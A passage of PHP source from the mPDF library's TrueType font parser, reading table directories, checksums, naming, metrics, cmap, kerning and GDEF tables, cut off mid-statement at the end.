$usWinDescent; var $strikeoutSize; var $strikeoutPosition; var $name; var $familyName; var $styleName; var $fullName; var $uniqueFontID; var $unitsPerEm; var $bbox; var $capHeight; var $xHeight; var $stemV; var $italicAngle; var $flags; var $underlinePosition; var $underlineThickness; var $charWidths; var $defaultWidth; var $maxStrLenRead; var $numTTCFonts; var $TTCFonts; var $maxUniChar; var $kerninfo; var $haskernGPOS; var $hassmallcapsGSUB; var $codeToGlyph; var $glyphdata; var $LuCoverage; public $panose; public $version; public $fontRevision; public $restrictedUse; public $glyphIDtoUni; public $glyphToChar; public $GSUBFeatures; public $GSUBLookups; public $GSLuCoverage; public function __construct(FontCache $fontCache, $fontDescriptor) { $this->fontCache = $fontCache; $this->fontDescriptor = $fontDescriptor; // Maximum size of glyf table to read in as string (otherwise reads each glyph from file) $this->maxStrLenRead = 200000; } public function getMetrics($file, $fontkey, $TTCfontID = 0, $debug = false, $BMPonly = false, $useOTL = 0) { $this->useOTL = $useOTL; $this->fontkey = $fontkey; $this->filename = $file; $this->fh = fopen($file, 'rb'); if (!$this->fh) { throw new \Mpdf\MpdfException(sprintf('Unable to open font file "%s"', $file)); } $this->_pos = 0; $this->charWidths = ''; $this->glyphPos = []; $this->charToGlyph = []; $this->tables = []; $this->otables = []; $this->kerninfo = []; $this->haskernGPOS = []; $this->hassmallcapsGSUB = []; $this->ascent = 0; $this->descent = 0; $this->lineGap = 0; $this->hheaascent = 0; $this->hheadescent = 0; $this->hhealineGap = 0; $this->xHeight = 0; $this->capHeight = 0; $this->panose = []; $this->sFamilyClass = 0; $this->sFamilySubClass = 0; $this->typoAscender = 0; $this->typoDescender = 0; $this->typoLineGap = 0; $this->usWinAscent = 0; $this->usWinDescent = 0; $this->advanceWidthMax = 0; $this->strikeoutSize = 0; $this->strikeoutPosition = 0; $this->numTTCFonts = 0; $this->TTCFonts = []; $this->version = $version = $this->read_ulong(); $this->panose = []; if ($version === 0x4F54544F) { throw new \Mpdf\MpdfException('Postscript outlines are not supported'); } if ($version === 0x74746366 && !$TTCfontID) { throw new \Mpdf\MpdfException(sprintf('TTCfontID for a TrueType Collection is not defined in mPDF "fontdata" configuration (%s)', $file)); } if (!in_array($version, [0x00010000, 0x74727565], true) && !$TTCfontID) { throw new \Mpdf\MpdfException(sprintf('Not a TrueType font: version=%s)', $version)); } if ($TTCfontID > 0) { $this->version = $version = $this->read_ulong(); // TTC Header version now if (!in_array($version, [0x00010000, 0x00020000], true)) { throw new \Mpdf\MpdfException(sprintf('Error parsing TrueType Collection: version=%s - (%s)', $version, $file)); } $this->numTTCFonts = $this->read_ulong(); for ($i = 1; $i <= $this->numTTCFonts; $i++) { $this->TTCFonts[$i]['offset'] = $this->read_ulong(); } $this->seek($this->TTCFonts[$TTCfontID]['offset']); $this->version = $version = $this->read_ulong(); // TTFont version again now } $this->readTableDirectory($debug); $this->extractInfo($debug, $BMPonly, $useOTL); fclose($this->fh); } function readTableDirectory($debug = false) { $this->numTables = $this->read_ushort(); $this->searchRange = $this->read_ushort(); $this->entrySelector = $this->read_ushort(); $this->rangeShift = $this->read_ushort(); $this->tables = []; for ($i = 0; $i < $this->numTables; $i++) { $record = []; $record['tag'] = $this->read_tag(); $record['checksum'] = [$this->read_ushort(), $this->read_ushort()]; $record['offset'] = $this->read_ulong(); $record['length'] = $this->read_ulong(); $this->tables[$record['tag']] = $record; } if ($debug) { $this->checksumTables(); } } function checksumTables() { // Check the checksums for all tables foreach ($this->tables as $t) { if ($t['length'] > 0 && $t['length'] < $this->maxStrLenRead) { // 1.02 $table = $this->get_chunk($t['offset'], $t['length']); $checksum = $this->calcChecksum($table); if ($t['tag'] === 'head') { $up = unpack('n*', substr($table, 8, 4)); $adjustment[0] = $up[1]; $adjustment[1] = $up[2]; $checksum = $this->sub32($checksum, $adjustment); } $xchecksum = $t['checksum']; if ($xchecksum != $checksum) { throw new \Mpdf\MpdfException(sprintf('TTF file "%s": invalid checksum %s table: %s (expected %s)', $this->filename, dechex($checksum[0]) . dechex($checksum[1]), $t['tag'], dechex($xchecksum[0]) . dechex($xchecksum[1]))); } } } } function sub32($x, $y) { $xlo = $x[1]; $xhi = $x[0]; $ylo = $y[1]; $yhi = $y[0]; if ($ylo > $xlo) { $xlo += 1 << 16; ++$yhi; } $reslo = $xlo - $ylo; if ($yhi > $xhi) { $xhi += 1 << 16; } $reshi = $xhi - $yhi; $reshi &= 0xFFFF; return [$reshi, $reslo]; } function calcChecksum($data) { if (strlen($data) % 4) { $data .= str_repeat("\0", 4 - (strlen($data) % 4)); } $len = strlen($data); $hi = 0x0000; $lo = 0x0000; for ($i = 0; $i < $len; $i += 4) { $hi += (ord($data[$i]) << 8) + ord($data[$i + 1]); $lo += (ord($data[$i + 2]) << 8) + ord($data[$i + 3]); $hi += ($lo >> 16) & 0xFFFF; $lo &= 0xFFFF; } $hi &= 0xFFFF; return [$hi, $lo]; } function get_table_pos($tag) { if (!isset($this->tables[$tag])) { return [0, 0]; } $offset = $this->tables[$tag]['offset']; $length = $this->tables[$tag]['length']; return [$offset, $length]; } function seek($pos) { $this->_pos = $pos; fseek($this->fh, $this->_pos); } function skip($delta) { $this->_pos = $this->_pos + $delta; fseek($this->fh, $delta, SEEK_CUR); } function seek_table($tag, $offset_in_table = 0) { $tpos = $this->get_table_pos($tag); $this->_pos = $tpos[0] + $offset_in_table; fseek($this->fh, $this->_pos); return $this->_pos; } function read_tag() { $this->_pos += 4; return fread($this->fh, 4); } function read_short() { $this->_pos += 2; $s = fread($this->fh, 2); $a = (ord($s[0]) << 8) + ord($s[1]); if ($a & (1 << 15)) { $a = ($a - (1 << 16)); } return $a; } function unpack_short($s) { $a = (ord($s[0]) << 8) + ord($s[1]); if ($a & (1 << 15)) { $a = ($a - (1 << 16)); } return $a; } function read_ushort() { $this->_pos += 2; $s = fread($this->fh, 2); return (ord($s[0]) << 8) + ord($s[1]); } function read_ulong() { $this->_pos += 4; $s = fread($this->fh, 4); // if large uInt32 as an integer, PHP converts it to -ve return (ord($s[0]) * 16777216) + (ord($s[1]) << 16) + (ord($s[2]) << 8) + ord($s[3]); // 16777216 = 1<<24 } function get_ushort($pos) { fseek($this->fh, $pos); $s = fread($this->fh, 2); return (ord($s[0]) << 8) + ord($s[1]); } function get_ulong($pos) { fseek($this->fh, $pos); $s = fread($this->fh, 4); // iF large uInt32 as an integer, PHP converts it to -ve return (ord($s[0]) * 16777216) + (ord($s[1]) << 16) + (ord($s[2]) << 8) + ord($s[3]); // 16777216 = 1<<24 } function pack_short($val) { if ($val < 0) { $val = abs($val); $val = ~$val; ++$val; } return pack('n', $val); } function splice($stream, $offset, $value) { return substr($stream, 0, $offset) . $value . substr($stream, $offset + strlen($value)); } function _set_ushort($stream, $offset, $value) { $up = pack("n", $value); return $this->splice($stream, $offset, $up); } function _set_short($stream, $offset, $val) { if ($val < 0) { $val = abs($val); $val = ~$val; $val += 1; } $up = pack("n", $val); return $this->splice($stream, $offset, $up); } function get_chunk($pos, $length) { fseek($this->fh, $pos); if ($length < 1) { return ''; } return (fread($this->fh, $length)); } function get_table($tag) { list($pos, $length) = $this->get_table_pos($tag); if ($length == 0) { return ''; } fseek($this->fh, $pos); return (fread($this->fh, $length)); } function add($tag, $data) { if ($tag === 'head') { $data = $this->splice($data, 8, "\0\0\0\0"); } $this->otables[$tag] = $data; } function getCTG($file, $TTCfontID = 0, $debug = false, $useOTL = false) { // Only called if font is not to be used as embedded subset i.e. NOT called for SIP/SMP fonts $this->useOTL = $useOTL; // mPDF 5.7.1 $this->filename = $file; $this->fh = fopen($file, 'rb'); if (!$this->fh) { throw new \Mpdf\MpdfException(sprintf('Unable to open file "%s"', $file)); } $this->_pos = 0; $this->charWidths = ''; $this->glyphPos = []; $this->charToGlyph = []; $this->tables = []; $this->numTTCFonts = 0; $this->TTCFonts = []; $this->skip(4); if ($TTCfontID > 0) { $this->version = $version = $this->read_ulong(); // TTC Header version now if (!in_array($version, [0x00010000, 0x00020000], true)) { throw new \Mpdf\MpdfException(sprintf("Error parsing TrueType Collection: version=%s (%s)", $version, $file)); } $this->numTTCFonts = $this->read_ulong(); for ($i = 1; $i <= $this->numTTCFonts; $i++) { $this->TTCFonts[$i]['offset'] = $this->read_ulong(); } $this->seek($this->TTCFonts[$TTCfontID]['offset']); $this->version = $version = $this->read_ulong(); // TTFont version again now } $this->readTableDirectory($debug); // cmap - Character to glyph index mapping table $cmap_offset = $this->seek_table('cmap'); $this->skip(2); $cmapTableCount = $this->read_ushort(); $unicode_cmap_offset = 0; for ($i = 0; $i < $cmapTableCount; $i++) { $platformID = $this->read_ushort(); $encodingID = $this->read_ushort(); $offset = $this->read_ulong(); $save_pos = $this->_pos; if ($platformID == 3 && $encodingID == 1) { // Microsoft, Unicode $format = $this->get_ushort($cmap_offset + $offset); if ($format == 4) { $unicode_cmap_offset = $cmap_offset + $offset; break; } } elseif ($platformID == 0) { // Unicode -- assume all encodings are compatible $format = $this->get_ushort($cmap_offset + $offset); if ($format == 4) { $unicode_cmap_offset = $cmap_offset + $offset; break; } } $this->seek($save_pos); } $glyphToChar = []; $charToGlyph = []; $this->getCMAP4($unicode_cmap_offset, $glyphToChar, $charToGlyph); // Map Unmapped glyphs - from $numGlyphs if ($useOTL) { $this->seek_table("maxp"); $this->skip(4); $numGlyphs = $this->read_ushort(); $bctr = 0xE000; for ($gid = 1; $gid < $numGlyphs; $gid++) { if (!isset($glyphToChar[$gid])) { while (isset($charToGlyph[$bctr])) { $bctr++; } // Avoid overwriting a glyph already mapped in PUA if ($bctr > 0xF8FF) { throw new \Mpdf\MpdfException(sprintf('Font "%s" cannot map all included glyphs into Private Use Area U+E000-U+F8FF; cannot use useOTL on this font', $file)); } $glyphToChar[$gid][] = $bctr; $charToGlyph[$bctr] = $gid; $bctr++; } } } fclose($this->fh); return $charToGlyph; } function getTTCFonts($file) { $this->filename = $file; $this->fh = fopen($file, 'rb'); if (!$this->fh) { throw new \Mpdf\MpdfException(sprintf('Unable to open file "%s"', $file)); } $this->numTTCFonts = 0; $this->TTCFonts = []; $this->version = $version = $this->read_ulong(); if ($version === 0x74746366) { $this->version = $version = $this->read_ulong(); // TTC Header version now if (!in_array($version, [0x00010000, 0x00020000], true)) { throw new \Mpdf\MpdfException(sprintf("Error parsing TrueType Collection: version=%s (%s)", $version, $file)); } } else { throw new \Mpdf\MpdfException(sprintf("Not a TrueType Collection: version=%s (%s)", $version, $file)); } $this->numTTCFonts = $this->read_ulong(); for ($i = 1; $i <= $this->numTTCFonts; $i++) { $this->TTCFonts[$i]['offset'] = $this->read_ulong(); } } function extractInfo($debug = false, $BMPonly = false, $useOTL = 0) { // Values are all set to 0 or blank at start of getMetrics // name - Naming table $name_offset = $this->seek_table("name"); $format = $this->read_ushort(); if ($format != 0 && $format != 1) { throw new \Mpdf\MpdfException("Unknown name table format " . $format); } $numRecords = $this->read_ushort(); $string_data_offset = $name_offset + $this->read_ushort(); $names = [1 => '', 2 => '', 3 => '', 4 => '', 6 => '']; $K = array_keys($names); $nameCount = count($names); for ($i = 0; $i < $numRecords; $i++) { $platformId = $this->read_ushort(); $encodingId = $this->read_ushort(); $languageId = $this->read_ushort(); $nameId = $this->read_ushort(); $length = $this->read_ushort(); $offset = $this->read_ushort(); if (!in_array($nameId, $K)) { continue; } $N = ''; if ($platformId == 3 && $encodingId == 1 && $languageId == 0x409) { // Microsoft, Unicode, US English, PS Name $opos = $this->_pos; $this->seek($string_data_offset + $offset); if ($length % 2 != 0) { throw new \Mpdf\MpdfException("PostScript name is UTF-16BE string of odd length"); } $length /= 2; $N = ''; while ($length > 0) { $char = $this->read_ushort(); $N .= (chr($char)); $length -= 1; } $this->_pos = $opos; $this->seek($opos); } elseif ($platformId == 1 && $encodingId == 0 && $languageId == 0) { // Macintosh, Roman, English, PS Name $opos = $this->_pos; $N = $this->get_chunk($string_data_offset + $offset, $length); $this->_pos = $opos; $this->seek($opos); } if ($N && $names[$nameId] == '') { $names[$nameId] = $N; $nameCount -= 1; if ($nameCount == 0) { break; } } } if ($names[6]) { $psName = $names[6]; } elseif ($names[4]) { $psName = preg_replace('/ /', '-', $names[4]); } elseif ($names[1]) { $psName = preg_replace('/ /', '-', $names[1]); } else { $psName = ''; } if (!$psName) { throw new \Mpdf\MpdfException("Could not find PostScript font name: " . $this->filename); } // CHECK IF psName valid (PadaukBook contains illegal characters in Name ID 6 i.e. Postscript Name) $psNameInvalid = false; $nameLength = strlen($psName); for ($i = 0; $i < $nameLength; $i++) { $c = $psName[$i]; $oc = ord($c); if ($oc > 126 || strpos(' [](){}<>/%', $c) !== false) { //throw new \Mpdf\MpdfException("psName=".$psName." contains invalid character ".$c." ie U+".ord(c)); $psNameInvalid = true; break; } } if ($psNameInvalid && $names[4]) { $psName = preg_replace('/ /', '-', $names[4]); } $this->name = $psName; if ($names[1]) { $this->familyName = $names[1]; } else { $this->familyName = $psName; } if ($names[2]) { $this->styleName = $names[2]; } else { $this->styleName = 'Regular'; } if ($names[4]) { $this->fullName = $names[4]; } else { $this->fullName = $psName; } if ($names[3]) { $this->uniqueFontID = $names[3]; } else { $this->uniqueFontID = $psName; } if (!$psNameInvalid && $names[6]) { $this->fullName = $names[6]; } // head - Font header table $this->seek_table('head'); if ($debug) { $ver_maj = $this->read_ushort(); $ver_min = $this->read_ushort(); if ($ver_maj != 1) { throw new \Mpdf\MpdfException('Unknown head table version ' . $ver_maj . '.' . $ver_min); } $this->fontRevision = $this->read_ushort() . $this->read_ushort(); $this->skip(4); $magic = $this->read_ulong(); if ($magic !== 0x5F0F3CF5) { throw new \Mpdf\MpdfException('Invalid head table magic ' . $magic); } $this->skip(2); } else { $this->skip(18); } $this->unitsPerEm = $unitsPerEm = $this->read_ushort(); $scale = 1000 / $unitsPerEm; $this->skip(16); $xMin = $this->read_short(); $yMin = $this->read_short(); $xMax = $this->read_short(); $yMax = $this->read_short(); $this->bbox = [($xMin * $scale), ($yMin * $scale), ($xMax * $scale), ($yMax * $scale)]; $this->skip(3 * 2); $indexToLocFormat = $this->read_ushort(); $glyphDataFormat = $this->read_ushort(); if ($glyphDataFormat != 0) { throw new \Mpdf\MpdfException(sprintf('Unknown glyph data format %s', $glyphDataFormat)); } // hhea metrics table if (isset($this->tables["hhea"])) { $this->seek_table("hhea"); $this->skip(4); $hheaAscender = $this->read_short(); $hheaDescender = $this->read_short(); $hheaLineGap = $this->read_short(); $hheaAdvanceWidthMax = $this->read_ushort(); $this->hheaascent = ($hheaAscender * $scale); $this->hheadescent = ($hheaDescender * $scale); $this->hhealineGap = ($hheaLineGap * $scale); $this->advanceWidthMax = ($hheaAdvanceWidthMax * $scale); } // OS/2 - OS/2 and Windows metrics table $use_typo_metrics = false; if (isset($this->tables["OS/2"])) { $this->seek_table("OS/2"); $version = $this->read_ushort(); $this->skip(2); $usWeightClass = $this->read_ushort(); $this->skip(2); $fsType = $this->read_ushort(); if ($fsType == 0x0002 || ($fsType & 0x0300) != 0) { $this->restrictedUse = true; } $this->skip(16); $yStrikeoutSize = $this->read_short(); $yStrikeoutPosition = $this->read_short(); $this->strikeoutSize = ($yStrikeoutSize * $scale); $this->strikeoutPosition = ($yStrikeoutPosition * $scale); $sF = $this->read_short(); $this->sFamilyClass = ($sF >> 8); $this->sFamilySubClass = ($sF & 0xFF); $this->_pos += 10; //PANOSE = 10 byte length $panose = fread($this->fh, 10); $this->panose = []; $panoseLenght = strlen($panose); for ($p = 0; $p < $panoseLenght; $p++) { $this->panose[] = ord($panose[$p]); } $this->skip(20); $fsSelection = $this->read_ushort(); $use_typo_metrics = (($fsSelection & 0x80) === 0x80); // bit#7 = USE_TYPO_METRICS $this->skip(4); $sTypoAscender = $this->read_short(); $sTypoDescender = $this->read_short(); $sTypoLineGap = $this->read_short(); if ($sTypoAscender) { $this->typoAscender = ($sTypoAscender * $scale); } if ($sTypoDescender) { $this->typoDescender = ($sTypoDescender * $scale); } if ($sTypoLineGap) { $this->typoLineGap = ($sTypoLineGap * $scale); } $usWinAscent = $this->read_ushort(); $usWinDescent = $this->read_ushort(); if ($usWinAscent) { $this->usWinAscent = ($usWinAscent * $scale); } if ($usWinDescent) { $this->usWinDescent = ($usWinDescent * $scale); } if ($version > 1) { $this->skip(8); $sxHeight = $this->read_short(); $this->xHeight = ($sxHeight * $scale); $sCapHeight = $this->read_short(); $this->capHeight = ($sCapHeight * $scale); } } else { $usWeightClass = 400; } $this->stemV = 50 + (int) (($usWeightClass / 65.0) ** 2); // FONT DESCRIPTOR METRICS if ($this->fontDescriptor === 'winTypo') { $this->ascent = $this->typoAscender; $this->descent = $this->typoDescender; $this->lineGap = $this->typoLineGap; } elseif ($this->fontDescriptor === 'mac') { $this->ascent = $this->hheaascent; $this->descent = $this->hheadescent; $this->lineGap = $this->hhealineGap; } else { // $this->fontDescriptor === 'win' $this->ascent = $this->usWinAscent; $this->descent = -$this->usWinDescent; $this->lineGap = 0; // Special case - if either the winAscent or winDescent are greater than the // font bounding box yMin yMax, then reduce them accordingly. // This works with Myanmar Text (Windows 8 version) to give a // line-height normal that is equivalent to that produced in browsers. // Also Khmer OS = compatible with MSWord, Wordpad and browser. if ($this->ascent > $this->bbox[3]) { $this->ascent = $this->bbox[3]; } if ($this->descent < $this->bbox[1]) { $this->descent = $this->bbox[1]; } // Override case - if the USE_TYPO_METRICS bit is set on OS/2 fsSelection // this is telling the font to use the sTypo values and not the usWinAscent values. // This works as a fix with Cambria Math to give a normal line-height; // at present, this is the only font I have found with this bit set; // although note that MS WordPad and windows FF browser uses the big line-height from winAscent // but Word 2007 get it right if ($use_typo_metrics && $this->typoAscender) { $this->ascent = $this->typoAscender; $this->descent = $this->typoDescender; $this->lineGap = $this->typoLineGap; } } // post - PostScript table $this->seek_table('post'); if ($debug) { $ver_maj = $this->read_ushort(); if ($ver_maj < 1 || $ver_maj > 4) { throw new \Mpdf\MpdfException(sprintf('Unknown post table version %s', $ver_maj)); } } else { $this->skip(4); } $this->italicAngle = $this->read_short() + $this->read_ushort() / 65536.0; $this->underlinePosition = $this->read_short() * $scale; $this->underlineThickness = $this->read_short() * $scale; $isFixedPitch = $this->read_ulong(); $this->flags = 4; if ($this->italicAngle != 0) { $this->flags |= 64; } if ($usWeightClass >= 600) { $this->flags |= 262144; } if ($isFixedPitch) { $this->flags |= 1; } // hhea - Horizontal header table $this->seek_table('hhea'); if ($debug) { $ver_maj = $this->read_ushort(); if ($ver_maj != 1) { throw new \Mpdf\MpdfException(sprintf('Unknown hhea table version %s', $ver_maj)); } $this->skip(28); } else { $this->skip(32); } $metricDataFormat = $this->read_ushort(); if ($metricDataFormat != 0) { throw new \Mpdf\MpdfException(sprintf('Unknown horizontal metric data format "%s"', $metricDataFormat)); } $numberOfHMetrics = $this->read_ushort(); if ($numberOfHMetrics == 0) { throw new \Mpdf\MpdfException('Number of horizontal metrics is 0'); } // maxp - Maximum profile table $this->seek_table('maxp'); if ($debug) { $ver_maj = $this->read_ushort(); if ($ver_maj != 1) { throw new \Mpdf\MpdfException(sprintf('Unknown maxp table version ', $ver_maj)); } } else { $this->skip(4); } $numGlyphs = $this->read_ushort(); // cmap - Character to glyph index mapping table $cmap_offset = $this->seek_table('cmap'); $this->skip(2); $cmapTableCount = $this->read_ushort(); $unicode_cmap_offset = 0; for ($i = 0; $i < $cmapTableCount; $i++) { $platformID = $this->read_ushort(); $encodingID = $this->read_ushort(); $offset = $this->read_ulong(); $save_pos = $this->_pos; if (($platformID == 3 && $encodingID == 1) || $platformID == 0) { // Microsoft, Unicode $format = $this->get_ushort($cmap_offset + $offset); if ($format == 4) { if (!$unicode_cmap_offset) { $unicode_cmap_offset = $cmap_offset + $offset; } if ($BMPonly) { break; } } } elseif ((($platformID == 3 && $encodingID == 10) || $platformID == 0) && !$BMPonly) { // Microsoft, Unicode Format 12 table HKCS $format = $this->get_ushort($cmap_offset + $offset); if ($format == 12) { $unicode_cmap_offset = $cmap_offset + $offset; break; } } $this->seek($save_pos); } if (!$unicode_cmap_offset) { throw new \Mpdf\MpdfException(sprintf('Font "%s" does not have cmap for Unicode (platform 3, encoding 1, format 4, or platform 0, any encoding, format 4)', $this->filename)); } $sipset = false; $smpset = false; $this->rtlPUAstr = ''; $this->GSUBScriptLang = []; $this->GSUBFeatures = []; $this->GSUBLookups = []; $this->GPOSScriptLang = []; $this->GPOSFeatures = []; $this->GPOSLookups = []; $this->glyphIDtoUni = ''; // Format 12 CMAP does characters above Unicode BMP i.e. some HKCS characters U+20000 and above if ($format == 12 && !$BMPonly) { $this->maxUniChar = 0; $this->seek($unicode_cmap_offset + 4); $length = $this->read_ulong(); $limit = $unicode_cmap_offset + $length; $this->skip(4); $nGroups = $this->read_ulong(); $glyphToChar = []; $charToGlyph = []; for ($i = 0; $i < $nGroups; $i++) { $startCharCode = $this->read_ulong(); $endCharCode = $this->read_ulong(); $startGlyphCode = $this->read_ulong(); // ZZZ98 if ($endCharCode > 0x20000 && $endCharCode < 0x2FFFF) { $sipset = true; } elseif ($endCharCode > 0x10000 && $endCharCode < 0x1FFFF) { $smpset = true; } $offset = 0; for ($unichar = $startCharCode; $unichar <= $endCharCode; $unichar++) { $glyph = $startGlyphCode + $offset; $offset++; // ZZZ98 if ($unichar < 0x30000) { $charToGlyph[$unichar] = $glyph; $this->maxUniChar = max($unichar, $this->maxUniChar); $glyphToChar[$glyph][] = $unichar; } } } } else { $glyphToChar = []; $charToGlyph = []; $this->getCMAP4($unicode_cmap_offset, $glyphToChar, $charToGlyph); } $this->sipset = $sipset; $this->smpset = $smpset; // Map Unmapped glyphs (or glyphs mapped to upper PUA U+F00000 onwards i.e. > U+2FFFF) - from $numGlyphs if ($this->useOTL) { $bctr = 0xE000; for ($gid = 1; $gid < $numGlyphs; $gid++) { if (!isset($glyphToChar[$gid])) { while (isset($charToGlyph[$bctr])) { $bctr++; } // Avoid overwriting a glyph already mapped in PUA // ZZZ98 if (($bctr > 0xF8FF) && ($bctr < 0x2CEB0)) { if (!$BMPonly) { $bctr = 0x2CEB0; // Use unassigned area 0x2CEB0 to 0x2F7FF (space for 10,000 characters) $this->sipset = $sipset = true; // forces subsetting; also ensure charwidths are saved while (isset($charToGlyph[$bctr])) { $bctr++; } } else { throw new \Mpdf\MpdfException(sprintf('The font "%s" does not have enough space to map all (unmapped) included glyphs into Private Use Area U+E000-U+F8FF', $names[1])); } } $glyphToChar[$gid][] = $bctr; $charToGlyph[$bctr] = $gid; $this->maxUniChar = max($bctr, $this->maxUniChar); $bctr++; } } } $this->glyphToChar = $glyphToChar; $this->GSUBScriptLang = []; $this->rtlPUAstr = ''; if ($useOTL) { $this->_getGDEFtables(); list($this->GSUBScriptLang, $this->GSUBFeatures, $this->GSUBLookups, $this->rtlPUAstr) = $this->_getGSUBtables(); list($this->GPOSScriptLang, $this->GPOSFeatures, $this->GPOSLookups) = $this->_getGPOStables(); $this->glyphIDtoUni = str_pad('', 256 * 256 * 3, "\x00"); foreach ($glyphToChar as $gid => $arr) { if (isset($glyphToChar[$gid][0])) { $char = $glyphToChar[$gid][0]; if ($char != 0 && $char != 65535) { $this->glyphIDtoUni[$gid * 3] = chr($char >> 16); $this->glyphIDtoUni[$gid * 3 + 1] = chr(($char >> 8) & 0xFF); $this->glyphIDtoUni[$gid * 3 + 2] = chr($char & 0xFF); } } } } // if xHeight and/or CapHeight are not available from OS/2 (e.g. eraly versions) // Calculate from yMax of 'x' or 'H' Glyphs... if ($this->xHeight == 0) { if (isset($charToGlyph[0x78])) { $gidx = $charToGlyph[0x78]; // U+0078 (LATIN SMALL LETTER X) $start = $this->seek_table('loca'); if ($indexToLocFormat == 0) { $this->skip($gidx * 2); $locax = $this->read_ushort() * 2; } elseif ($indexToLocFormat == 1) { $this->skip($gidx * 4); $locax = $this->read_ulong(); } $start = $this->seek_table('glyf'); $this->skip($locax); $this->skip(8); $yMaxx = $this->read_short(); $this->xHeight = $yMaxx * $scale; } } if ($this->capHeight == 0) { if (isset($charToGlyph[0x48])) { $gidH = $charToGlyph[0x48]; // U+0048 (LATIN CAPITAL LETTER H) $start = $this->seek_table('loca'); if ($indexToLocFormat == 0) { $this->skip($gidH * 2); $locaH = $this->read_ushort() * 2; } elseif ($indexToLocFormat == 1) { $this->skip($gidH * 4); $locaH = $this->read_ulong(); } $start = $this->seek_table('glyf'); $this->skip($locaH); $this->skip(8); $yMaxH = $this->read_short(); $this->capHeight = $yMaxH * $scale; } else { $this->capHeight = $this->ascent; } // final default is to set it = to Ascent } // hmtx - Horizontal metrics table $this->getHMTX($numberOfHMetrics, $numGlyphs, $glyphToChar, $scale); // kern - Kerning pair table // Recognises old form of Kerning table - as required by Windows - Format 0 only $kern_offset = $this->seek_table("kern"); $version = $this->read_ushort(); $nTables = $this->read_ushort(); // subtable header $sversion = $this->read_ushort(); $slength = $this->read_ushort(); $scoverage = $this->read_ushort(); $format = $scoverage >> 8; if ($kern_offset && $version == 0 && $format == 0) { // Format 0 $nPairs = $this->read_ushort(); $this->skip(6); for ($i = 0; $i < $nPairs; $i++) { $left = $this->read_ushort(); $right = $this->read_ushort(); $val = $this->read_short(); if (isset($glyphToChar[$left]) && count($glyphToChar[$left]) == 1 && isset($glyphToChar[$right]) && count($glyphToChar[$right]) == 1) { if ($left != 32 && $right != 32) { $this->kerninfo[$glyphToChar[$left][0]][$glyphToChar[$right][0]] = intval($val * $scale); } } } } } function _getGDEFtables() { // http://www.microsoft.com/typography/otspec/gdef.htm if (isset($this->tables["GDEF"])) { $gdef_offset = $this->seek_table("GDEF"); // ULONG Version of the GDEF table-currently 0x00010000 $ver_maj = $this->read_ushort(); $ver_min = $this->read_ushort(); $GlyphClassDef_offset = $this->read_ushort(); $AttachList_offset = $this->read_ushort(); $LigCaretList_offset = $this->read_ushort(); $MarkAttachClassDef_offset = $this->read_ushort(); // Version 0x00010002 of GDEF header contains additional Offset to a list defining mark glyph set definitions (MarkGlyphSetDef) if ($ver_min == 2) { $MarkGlyphSetsDef_offset = $this->read_ushort(); } // GlyphClassDef if ($GlyphClassDef_offset) { $this->seek($gdef_offset + $GlyphClassDef_offset); // 1 Base glyph (single character, spacing glyph) // 2 Ligature glyph (multiple character, spacing glyph) // 3 Mark glyph (non-spacing combining glyph) // 4 Component glyph (part of single character, spacing glyph) $GlyphByClass = $this->_getClassDefinitionTable(); } else { $GlyphByClass = []; } if (isset($GlyphByClass[1]) && count($GlyphByClass[1]) > 0) { $this->GlyphClassBases = ' ' . implode('| ', $GlyphByClass[1]); } else { $this->GlyphClassBases = ''; } if (isset($GlyphByClass[2]) && count($GlyphByClass[2]) > 0) { $this->GlyphClassLigatures = ' ' . implode('| ', $GlyphByClass[2]); } else { $this->GlyphClassLigatures = ''; } if (isset($GlyphByClass[3]) && count($GlyphByClass[3]) > 0) { $this->GlyphClassMarks = ' ' . implode('| ', $GlyphByClass[3]); } else { $this->GlyphClassMarks = ''; } if (isset($GlyphByClass[4]) && count($GlyphByClass[4]) > 0) { $this->GlyphClassComponents = ' ' . implode('| ', $GlyphByClass[4]); } else { $this->GlyphClassComponents = ''; } if (isset($GlyphByClass[3]) && count($GlyphByClass[3]) > 0) { $Marks = $GlyphByClass[3]; } else { // to use for MarkAttachmentType $Marks = []; } /* Required for GPOS // Attachment List if ($AttachList_offset) { $this->seek($gdef_offset+$AttachList_offset ); } The Attachment Point List table (AttachmentList) identifies all the attachment points defined in the GPOS table and their associated glyphs so a client can quickly access coordinates for each glyph's attachment points. As a result, the client can cache coordinates for attachment points along with glyph bitmaps and avoid recalculating the attachment points each time it displays a glyph. Without this table, processing speed would be slower because the client would have to decode the GPOS lookups that define attachment points and compile the points in a list. The Attachment List table (AttachList) may be used to cache attachment point coordinates along with glyph bitmaps. The table consists of an offset to a Coverage table (Coverage) listing all glyphs that define attachment points in the GPOS table, a count of the glyphs with attachment points (GlyphCount), and an array of offsets to AttachPoint tables (AttachPoint). The array lists the AttachPoint tables, one for each glyph in the Coverage table, in the same order as the Coverage Index. AttachList table Type Name Description Offset Coverage Offset to Coverage table - from beginning of AttachList table uint16 GlyphCount Number of glyphs with attachment points Offset AttachPoint[GlyphCount] Array of offsets to AttachPoint tables-from beginning of AttachList table-in Coverage Index order An AttachPoint table consists of a count of the attachment points on a single glyph (PointCount) and an array of contour indices of those points (PointIndex), listed in increasing numerical order. AttachPoint table Type Name Description uint16 PointCount Number of attachment points on this glyph uint16 PointIndex[PointCount] Array of contour point indices -in increasing numerical order See Example 3 - http://www.microsoft.com/typography/otspec/gdef.htm */ // Ligature Caret List // The Ligature Caret List table (LigCaretList) defines caret positions for all the ligatures in a font. // Not required for mDPF // MarkAttachmentType if ($MarkAttachClassDef_offset) { $this->seek($gdef_offset + $MarkAttachClassDef_offset); $MarkAttachmentTypes = $this->_getClassDefinitionTable(); foreach ($MarkAttachmentTypes as $class => $glyphs) { if (is_array($Marks) && count($Marks)) { $mat = array_diff($Marks, $MarkAttachmentTypes[$class]); sort($mat, SORT_STRING); } else { $mat = []; } $this->MarkAttachmentType[$class] = ' ' . implode('| ', $mat); } } else { $this->MarkAttachmentType = []; } // MarkGlyphSets only in Version 0x00010002 of GDEF if ($ver_min == 2 && $MarkGlyphSetsDef_offset) { $this->seek($gdef_offset + $MarkGlyphSetsDef_offset); $MarkSetTableFormat = $this->read_ushort(); $MarkSetCount = $this->read_ushort(); $MarkSetOffset = []; for ($i = 0; $i < $MarkSetCount; $i++) { $MarkSetOffset[] = $this->read_ulong(); } for ($i = 0; $i < $MarkSetCount; $i++) { $this->seek($MarkSetOffset[$i]); $glyphs = $this->_getCoverage(); $this->MarkGlyphSets[$i] = ' ' . implode('| ', $glyphs); } } else { $this->MarkGlyphSets = []; } } else { throw new 